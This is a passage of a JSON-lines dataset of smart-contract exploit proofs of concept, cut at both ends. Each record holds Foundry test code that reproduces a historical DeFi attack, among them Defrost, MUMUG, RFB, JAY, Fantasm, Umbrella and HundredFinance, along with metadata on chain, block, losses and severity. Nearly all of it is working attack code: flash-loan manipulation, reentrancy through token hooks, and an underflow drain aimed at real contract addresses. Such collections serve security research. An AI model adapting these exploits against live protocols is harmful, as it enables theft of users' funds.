flashLoanFee, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n }\n\n function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n LSW.flashLoan(address(this), address(USDC), flashLoanAmount, new bytes(1));\n LSW.redeem(depositAmount, address(this), address(this));\n USDC.transfer(address(Pair), (flashLoanAmount + flashLoanFee) * 1000 / 997 + 1000);\n }\n\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32) {\n USDC.approve(address(LSW), type(uint256).max);\n depositAmount = LSW.deposit(flashLoanAmount, address(this));\n return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n }\n}\n", "type": "exploit_poc", "protocol": "Defrost", "date": "2022-12", "file_name": "Defrost_exp.sol", "attack_vector": "flash_loan", "content_hash": "201564bbb779fb58", "collected_at": "2026-01-07T10:59:16.538409", "_source": "postmortems", "chain": "avalanche", "block_number": 24003940, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n flashLoanAmount = LSW.maxFlashLoan(address(USDC));\n flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);\n Pair.swap(0, flashLoanAmount + flashLoanFee, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.19, "quality_estimate": "low", "title": "Defrost Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1601422462012469248\n// @TX\n// https://snowtrace.io/tx/0xab39a17cdc200c812ecbb05aead6e6f574712170eafbd73736b053b168555680\n\ninterface MUBank {\n function mu_bond(address stable, uint256 amount) external;\n function mu_gold_bond(address stable, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n MUBank Bank = MUBank(0x4aA679402c6afcE1E0F7Eb99cA4f09a30ce228ab);\n IERC20 MU = IERC20(0xD036414fa2BCBb802691491E323BFf1348C5F4Ba);\n IERC20 MUG = IERC20(0xF7ed17f0Fb2B7C9D3DDBc9F0679b2e1098993e81);\n IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);\n Uni_Router_V2 Router = Uni_Router_V2(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x67d9aAb77BEDA392b1Ed0276e70598bf2A22945d); // MU MUG\n uint256 FlashLoanAmount;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"avalanche\", 23_435_294);\n }\n\n function testExploit() public {\n MU.approve(address(Router), type(uint256).max);\n MUG.approve(address(Router), type(uint256).max);\n USDC_e.approve(address(Router), type(uint256).max);\n USDC_e.approve(address(Bank), type(uint256).max);\n FlashLoanAmount = MU.balanceOf(address(Pair)) - 1;\n Pair.swap(FlashLoanAmount, 0, address(this), new bytes(1));\n MUGToUSDC_e();\n\n emit log_named_decimal_uint(\"[End] Attacker USDC.e balance after exploit\", USDC_e.balanceOf(address(this)), 6);\n }\n\n function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n MUToUSDC_e();\n Bank.mu_bond(address(USDC_e), 3300 * 1e18);\n Bank.mu_gold_bond(address(USDC_e), 6990 * 1e18);\n USDC_eToMU();\n MU.transfer(address(Pair), FlashLoanAmount * 1000 / 997 + 1000);\n }\n\n function MUToUSDC_e() internal {\n address[] memory path = new address[](2);\n path[0] = address(MU);\n path[1] = address(USDC_e);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n MU.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function USDC_eToMU() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDC_e);\n path[1] = address(MU);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n USDC_e.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function MUGToUSDC_e() internal {\n address[] memory path = new address[](3);\n path[0] = address(MUG);\n path[1] = address(MU);\n path[2] = address(USDC_e);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n MUG.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "MUMUG", "date": "2022-12", "file_name": "MUMUG_exp.sol", "attack_vector": "flash_loan", "content_hash": "a1129f1328d687b3", "collected_at": "2026-01-07T10:59:16.538449", "_source": "postmortems", "chain": "avalanche", "block_number": 23435294, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n MU.approve(address(Router), type(uint256).max);\n MUG.approve(address(Router), type(uint256).max);\n USDC_e.approve(address(Router), type(uint256).max);\n USDC_e.approve(address(Bank), type(uint256).max);\n FlashLoanAmount = MU.balanceOf(address(Pair)) - 1;\n Pair.swap(FlashLoanAmount, 0, address(this), new bytes(1));\n MUGToUSDC_e();\n\n emit log_named_decimal_uint(\"[End] Attacker USDC.e balance after exploit\", USDC_e.balanceOf(address(this)), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.52, "quality_estimate": "low", "title": "MUMUG Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1599991294947778560\n// @TX\n// https://bscscan.com/tx/0xcc8fdb3c6af8bb9dfd87e913b743a13bbf138a143c27e0f387037887d28e3c7a\n\ncontract ContractTest is Test {\n IERC20 RFB = IERC20(0x26f1457f067bF26881F311833391b52cA871a4b5);\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x03184AAA6Ad4F7BE876423D9967d1467220a544e);\n address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_649_423);\n }\n\n function testExploit() public payable {\n RFB.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n payable(address(uint160(0))).transfer(address(this).balance);\n DVM(dodo).flashLoan(20 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n WBNB.withdraw(20 * 1e18);\n for (uint256 i = 0; i < 50; i++) {\n try this.check(20 * 1e18 - i) {}\n catch {\n continue;\n }\n }\n WBNB.deposit{value: address(this).balance}();\n WBNB.transfer(dodo, 20 * 1e18);\n }\n\n function check(\n uint256 amount\n ) public payable {\n uint256 BNBBalance = address(this).balance;\n BNBToRFB(amount);\n RFBToBNB();\n require(address(this).balance - BNBBalance > 0);\n }\n\n function BNBToRFB(\n uint256 amount\n ) public payable {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(RFB);\n Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(\n 0, path, address(this), block.timestamp\n );\n }\n\n function RFBToBNB() public payable {\n address[] memory path = new address[](2);\n path[0] = address(RFB);\n path[1] = address(WBNB);\n Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n RFB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "RFB", "date": "2022-12", "file_name": "RFB_exp.sol", "attack_vector": "flash_loan", "content_hash": "a35a52a850dbf8b9", "collected_at": "2026-01-07T10:59:16.538489", "_source": "postmortems", "chain": "bsc", "block_number": 23649423, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public payable {\n RFB.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n payable(address(uint160(0))).transfer(address(this).balance);\n DVM(dodo).flashLoan(20 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.32, "quality_estimate": "low", "title": "RFB Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~15.32 ETH\n// Attacker : 0x0348D20b74Ddc0ac9bfC3626e06d30bb6Fac213b\n// Attack Contract : https://etherscan.io/address/0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340\n// Vulnerable Contract : https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2\n// Attack Tx : https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2#code#L1115\n\n// @Analysis\n// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1608372475225866240\n// Article Shashank : https://blog.solidityscan.com/jay-token-exploit-reentrancy-attack-d7a4923b6333\n// Article Hypernative : https://www.hypernative.io/blog/jaypeggers-exploit\n\ninterface IJay {\n function buyJay(\n address[] memory erc721TokenAddress,\n uint256[] memory erc721Ids,\n address[] memory erc1155TokenAddress,\n uint256[] memory erc1155Ids,\n uint256[] memory erc1155Amounts\n ) external payable;\n function sell(\n uint256 value\n ) external;\n function balanceOf(\n address account\n ) external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n IJay constant JAY_TOKEN = IJay(0xf2919D1D80Aff2940274014bef534f7791906FF2);\n IBalancerVault constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n uint256 constant BORROWED_ETH = 72.5 ether;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 16_288_199);\n // Adding labels to improve stack traces' readability\n vm.label(address(JAY_TOKEN), \"JAY_TOKEN\");\n vm.label(address(BALANCER_VAULT), \"BALANCER_VAULT\");\n vm.label(address(WETH_TOKEN), \"WETH_TOKEN\");\n vm.label(0xce88686553686DA562CE7Cea497CE749DA109f9F, \"BALANCER_ProtocolFeesCollector\");\n }\n\n function testExploit() public {\n // \"Clean\" contract's balance\n payable(address(0)).transfer(address(this).balance);\n emit log_named_decimal_uint(\"[Start] Attacker ETH balance before exploit\", address(this).balance, 18);\n\n // Setup flashloan parameters\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH_TOKEN);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = BORROWED_ETH;\n // The following value for \"b\" was used in the original exploit, but it is actually not required here\n bytes memory b =\n \"0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000\";\n\n // Execute the flashloan. It will return the funds in the `receiveFlashLoan()` callback\n BALANCER_VAULT.flashLoan(address(this), tokens, amounts, b);\n\n emit log_named_decimal_uint(\"[End] Attacker ETH balance after exploit\", address(this).balance, 18);\n }\n\n /*\n * Callback function called by the Balancer Vault during the flashloan\n */\n function receiveFlashLoan(\n IERC20[] memory, /* tokens*/\n uint256[] memory amounts,\n uint256[] memory, /*feeAmounts*/\n bytes memory /*userData*/\n ) external {\n require(msg.sender == address(BALANCER_VAULT));\n\n // Transfer WETH to ETH and start the attack\n WETH_TOKEN.withdraw(amounts[0]);\n\n JAY_TOKEN.buyJay{value: 22 ether}(\n new address[](0), new uint256[](0), new address[](0), new uint256[](0), new uint256[](0)\n );\n\n address[] memory erc721TokenAddress = new address[](1);\n erc721TokenAddress[0] = address(this);\n\n uint256[] memory erc721Ids = new uint256[](1);\n erc721Ids[0] = 0;\n\n JAY_TOKEN.buyJay{value: 50.5 ether}(\n erc721TokenAddress, erc721Ids, new address[](0), new uint256[](0), new uint256[](0)\n );\n JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this)));\n JAY_TOKEN.buyJay{value: 3.5 ether}(\n new address[](0), new uint256[](0), new address[](0), new uint256[](0), new uint256[](0)\n );\n JAY_TOKEN.buyJay{value: 8 ether}(\n erc721TokenAddress, erc721Ids, new address[](0), new uint256[](0), new uint256[](0)\n );\n JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this)));\n\n // Repay the flashloan by depositing ETH for WETH and transferring it back to Balancer\n (bool success,) = address(WETH_TOKEN).call{value: BORROWED_ETH}(\"deposit\");\n require(success, \"Deposit failed\");\n WETH_TOKEN.transfer(address(BALANCER_VAULT), BORROWED_ETH);\n }\n\n function transferFrom(address, /*sender*/ address, /*recipient*/ uint256 /*amount*/ ) external {\n JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this))); // reenter call JAY_TOKEN.sell\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "JAY", "date": "2022-12", "file_name": "JAY_exp.sol", "attack_vector": "flash_loan", "content_hash": "482af8031d437d0d", "collected_at": "2026-01-07T10:59:16.538531", "_source": "postmortems", "chain": "ethereum", "block_number": 16288199, "total_lost_raw": "~15.32 ETH", "total_lost_usd": 15.32, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340", "vulnerable_contract": "https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2", "attack_tx": "https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~15.32 ETH", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // \"Clean\" contract's balance\n payable(address(0)).transfer(address(this).balance);\n emit log_named_decimal_uint(\"[Start] Attacker ETH balance before exploit\", address(this).balance, 18);\n\n // Setup flashloan parameters\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH_TOKEN);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = BORROWED_ETH;\n // The following value for \"b\" was used in the original exploit, but it is actually not required here\n bytes memory b =\n \"0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000\";\n\n // Execute the flashloan. It will return the funds in the `receiveFlashLoan()` callback\n BALANCER_VAULT.flashLoan(address(this), tokens, amounts, b);\n\n emit log_named_decimal_uint(\"[End] Attacker ETH balance after exploit\", address(this).balance, 18);\n }\n\n /*\n * Callback function called by the Balancer Vault during the flashloan\n */", "has_exploit_code": true, "keyinfo_total_lost": "~15.32 ETH", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2", "keyinfo_attack_tx": "https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$15", "content_richness_score": 9.58, "quality_estimate": "high", "title": "JAY Exploit (2022-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 fsm = IERC20(0xaa621D2002b5a6275EF62d7a065A865167914801);\n IERC20 xFTM = IERC20(0xfBD2945D3601f21540DDD85c29C5C3CaF108B96F);\n Pool pool = Pool(payable(0x880672AB1d46D987E5d663Fc7476CD8df3C9f937));\n address attacker = 0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"fantom\", 32_971_742); //fork fantom block number 32971742\n }\n\n function testExploit() public {\n cheat.prank(0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400);\n fsm.transfer(address(this), 100_000_000_000_000_000_000);\n emit log_named_uint(\"Before exploit, xFTM balance of attacker:\", xFTM.balanceOf(address(this)));\n fsm.approve(address(pool), type(uint256).max);\n pool.mint(100_000_000_000_000_000_000, 1); // Due to the decimal error, the _xftmOut is bigger than it is supposed to be.\n cheat.roll(32_971_743);\n pool.collect();\n emit log_named_uint(\"After exploit, xFTM balance of attacker:\", xFTM.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Fantasm", "date": "2022-03", "file_name": "Fantasm_exp.sol", "attack_vector": null, "content_hash": "071b4444fd81d7b9", "collected_at": "2026-01-07T10:59:16.538585", "_source": "postmortems", "chain": "unknown", "block_number": 32971742, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n cheat.prank(0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400);\n fsm.transfer(address(this), 100_000_000_000_000_000_000);\n emit log_named_uint(\"Before exploit, xFTM balance of attacker:\", xFTM.balanceOf(address(this)));\n fsm.approve(address(pool), type(uint256).max);\n pool.mint(100_000_000_000_000_000_000, 1); // Due to the decimal error, the _xftmOut is bigger than it is supposed to be.\n cheat.roll(32_971_743);\n pool.collect();\n emit log_named_uint(\"After exploit, xFTM balance of attacker:\", xFTM.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.68, "quality_estimate": "low", "title": "Fantasm Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 700k\n// Attacker : 0x1751e3e1aaf1a3e7b973c889b7531f43fc59f7d0\n// AttackContract : 0x89767960b76b009416bc7ff4a4b79051eed0a9ee\n// StakingRewards contract: 0xB3FB1D01B07A706736Ca175f827e4F56021b85dE\n// Attack TX: https://etherscan.io/tx/0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7682660b4fa\n// Attack TX: https://bscscan.com/tx/0x784b68dc7d06ee181f3127d5eb5331850b5e690cc63dd099cd7b8dc863204bf6\n\ninterface IStakingRewards {\n function withdraw(\n uint256 amount\n ) external;\n}\n\ncontract AttackContract is Test {\n CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IStakingRewards constant StakingRewards = IStakingRewards(0xB3FB1D01B07A706736Ca175f827e4F56021b85dE);\n IERC20 constant uniLP = IERC20(0xB1BbeEa2dA2905E6B0A30203aEf55c399C53D042);\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 14_421_983); // Fork mainnet at block 14421983\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Before exploiting, Attacker UniLP Balance\", uniLP.balanceOf(address(this)), 18);\n\n StakingRewards.withdraw(8_792_873_290_680_252_648_282); //without putting any crypto, we can drain out the LP tokens in uniswap pool by underflow.\n\n /*\n StakingRewards contract, vulnerable code snippet.\n function _withdraw(uint256 amount, address user, address recipient) internal nonReentrant updateReward(user) {\n require(amount != 0, \"Cannot withdraw 0\");\n\n // not using safe math, because there is no way to overflow if stake tokens not overflow\n _totalSupply = _totalSupply - amount;\n _balances[user] = _balances[user] - amount; //<---- underflow here.\n */\n emit log_named_decimal_uint(\"After exploiting, Attacker UniLP Balance\", uniLP.balanceOf(address(this)), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "Umbrella", "date": "2022-03", "file_name": "Umbrella_exp.sol", "attack_vector": null, "content_hash": "3309738817deb550", "collected_at": "2026-01-07T10:59:16.538623", "_source": "postmortems", "chain": "ethereum", "block_number": 14421983, "total_lost_raw": "700k", "total_lost_usd": 700000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7682660b4fa", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "high", "severity_raw": "700k", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Before exploiting, Attacker UniLP Balance\", uniLP.balanceOf(address(this)), 18);\n\n StakingRewards.withdraw(8_792_873_290_680_252_648_282); //without putting any crypto, we can drain out the LP tokens in uniswap pool by underflow.\n\n /*\n StakingRewards contract, vulnerable code snippet.", "has_exploit_code": true, "keyinfo_total_lost": "700k", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$700.0K", "content_richness_score": 6.0, "quality_estimate": "medium", "title": "Umbrella Exploit (2022-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\nRoot cause: ERC667 tokens hooks reentrancy.\n\nAttacker wallet: 0xd041ad9aae5cf96b21c3ffcb303a0cb80779e358\nAttacker contract: 0xdbf225e3d626ec31f502d435b0f72d82b08e1bdd\nAttack tx: https://gnosisscan.io/tx/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098\nDebug tx: https://dashboard.tenderly.co/tx/xdai/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098\n\n Vulnerable contract:\n 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee\n 0xe4e43864ea18d5e5211352a4b810383460ab7fcc\n 0x8e15a22853a0a60a0fbb0d875055a8e66cff0235\n 0x090a00a2de0ea83def700b5e216f87a5d4f394fe\n\nref: https://github.com/compound-finance/compound-protocol/issues/141\ncredit: https://github.com/Hephyrius/Immuni-Hundred-POC*/\ninterface ICompoundToken {\n function borrow(\n uint256 borrowAmount\n ) external;\n function repayBorrow(\n uint256 repayAmount\n ) external;\n function redeem(\n uint256 redeemAmount\n ) external;\n function mint(\n uint256 amount\n ) external;\n function comptroller() external view returns (address);\n}\n\ninterface IComptroller {\n function allMarkets() external view returns (address[] memory);\n}\n\ninterface ICurve {\n function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external;\n}\n\ninterface IWeth {\n function deposit() external payable;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant usdc = IERC20(0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83);\n IERC20 private constant wxdai = IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d);\n\n address private constant husd = 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee;\n address private constant hxdai = 0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE;\n\n ICurve curve = ICurve(0x7f90122BF0700F9E7e1F688fe926940E8839F353);\n IUniswapV2Router private constant router = IUniswapV2Router(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));\n\n uint256 totalBorrowed;\n bool xdaiBorrowed = false;\n\n function setUp() public {\n vm.createSelectFork(\"gnosis\", 21_120_319); //fork gnosis at block number 21120319\n }\n\n function testExploit() public {\n borrow();\n console.log(\"Attacker Profit: %s usdc\", usdc.balanceOf(address(this)) / 1e6);\n }\n\n function borrow() internal {\n IUniswapV2Factory factory = IUniswapV2Factory(router.factory());\n IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(wxdai), address(usdc)));\n uint256 borrowAmount = usdc.balanceOf(address(pair)) - 1;\n\n pair.swap(\n pair.token0() == address(wxdai) ? 0 : borrowAmount,\n pair.token0() == address(wxdai) ? borrowAmount : 0,\n address(this),\n abi.encode(\"0x\")\n );\n }\n\n function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n attackLogic(_amount0, _amount1, _data);\n }\n\n function attackLogic(uint256 _amount0, uint256 _amount1, bytes calldata _data) internal {\n uint256 amountToken = _amount0 == 0 ? _amount1 : _amount0;\n totalBorrowed = amountToken;\n console.log(\"Borrowed: %s USDC from Sushi\", usdc.balanceOf(address(this)) / 1e6);\n depositUsdc();\n borrowUsdc();\n swapXdai();\n uint256 amountRepay = ((amountToken * 1000) / 997) + 1;\n usdc.transfer(msg.sender, amountRepay);\n console.log(\"Repay Flashloan for : %s USDC\", amountRepay / 1e6);\n }\n\n function depositUsdc() internal {\n uint256 balance = usdc.balanceOf(address(this));\n usdc.approve(husd, balance);\n ICompoundToken(husd).mint(balance);\n }\n\n function borrowUsdc() internal {\n uint256 amount = (totalBorrowed * 90) / 100;\n ICompoundToken(husd).borrow(amount);\n console.log(\"Attacker USDC Balance After Borrow: %s USDC\", usdc.balanceOf(address(this)) / 1e6);\n console.log(\"Hundred USDC Balance After Borrow: %s USDC\", usdc.balanceOf(husd) / 1e6);\n }\n\n function borrowXdai() internal {\n xdaiBorrowed = true;\n uint256 amount = ((totalBorrowed * 1e12) * 60) / 100;\n\n ICompoundToken(hxdai).borrow(amount);\n console.log(\"Attacker xdai Balance After Borrow: %s XDAI\", address(this).balance / 1e8);\n console.log(\"Hundred xdai Balance After Borrow: %s Xdai\", address(hxdai).balance / 1e8);\n }\n\n function swapXdai() internal {\n IWeth(payable(address(wxdai))).deposit{value: address(this).balance}();\n wxdai.approve(address(curve), wxdai.balanceOf(address(this)));\n curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1);\n }\n\n function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {\n IUniswapV2Factory factory = IUniswapV2Factory(router.factory());\n address pair = factory.getPair(address(wxdai), address(usdc));\n\n if (_from != pair && xdaiBorrowed == false) {\n console.log(\"''i'm in!''\");\n borrowXdai();\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "HundredFinance", "date": "2022-03", "file_name": "HundredFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "0c20c431200552e2", "collected_at": "2026-01-07T10:59:16.538667", "_source": "postmortems", "chain": "unknown", "block_number": 21120319, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://gnosisscan.io/tx/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n borrow();\n console.log(\"Attacker Profit: %s usdc\", usdc.balanceOf(address(this)) / 1e6);\n }", "has_exploit_code": true, "keyinfo_total_lost": 